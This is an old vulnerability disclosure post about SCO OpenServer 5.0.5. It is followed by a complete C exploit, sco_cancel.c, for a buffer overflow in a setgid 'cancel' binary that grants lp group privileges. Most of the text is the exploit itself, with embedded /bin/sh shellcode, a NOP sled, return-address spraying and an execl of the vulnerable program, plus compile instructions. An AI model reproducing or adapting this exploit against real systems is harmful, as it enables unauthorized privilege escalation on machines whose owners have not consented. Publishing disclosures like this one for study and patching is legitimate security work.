SCO_OpenServer_exploit.txt

`Greetings,  
  
OK, I lied about being done with my OpenServer audit. I have a couple of  
these left over, mostly because they weren't root-compromises.  
  
There is an overflow in /opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel  
which will allow any user to gain lp privs. Note that this is NOT an overflow  
in /usr/bin/cancel or /usr/lpd/remote/cancel.  
  
scohack:/home/btellier$ l  
/opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel; l /usr/bin/cancel; l  
/usr/lpd/remote/cancel;  
---x--s--x 1 bin lp 57472 Jan 28 1999  
/opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel  
---x--s--x 1 bin lp 2604 Feb 15 1999 /usr/bin/cancel@  
-rws--s--x 1 root daemon 27504 Jan 28 1999 /usr/lpd/remote/cancel@   
  
  
It is equivalent to /usr/lpd/local/cancel, but both are only sgid lp.  
  
Brock Tellier  
UNIX Systems Administrator  
  
  
  
  
--- sco_cancel.c ---  
  
/**  
** sco_cancel.c yields egid=18(lp)  
** Tested on SCO 5.0.5+Skunkware98  
**   
** Compile gcc -o sco_cancelx.c sco_cancelx.c   
**  
** Brock Tellier [email protected]  
**   
**/   
  
  
#include <stdlib.h>  
#include <stdio.h>  
  
char scoshell[]= /* [email protected] */  
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"  
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"  
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";  
  
  
#define LEN 1500  
#define NOP 0x90  
  
unsigned long get_sp(void) {  
  
__asm__("movl %esp, %eax");  
  
}  
  
  
int main(int argc, char *argv[]) {  
  
long int offset=0;  
  
int i;  
int buflen = LEN;  
long int addr;  
char buf[LEN];  
  
if(argc > 3) {  
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);  
exit(0);   
}  
else if (argc == 2){  
offset=atoi(argv[1]);  
  
}  
else if (argc == 3) {  
offset=atoi(argv[1]);  
buflen=atoi(argv[2]);   
  
}  
else {  
offset=600;  
buflen=1200;  
  
}  
  
  
addr=get_sp();  
  
fprintf(stderr, "\nSCO 5.0.5 cancel exploit yields egid=18(lp)\n");  
fprintf(stderr, "Brock Tellier [email protected]\n\n");  
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);  
  
memset(buf,NOP,buflen);  
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));  
for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)  
*(int *)&buf[i]=addr+offset;  
  
execl("/opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel", "cancel", buf,  
NULL);  
  
exit(0);  
}  
  
------  
  
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`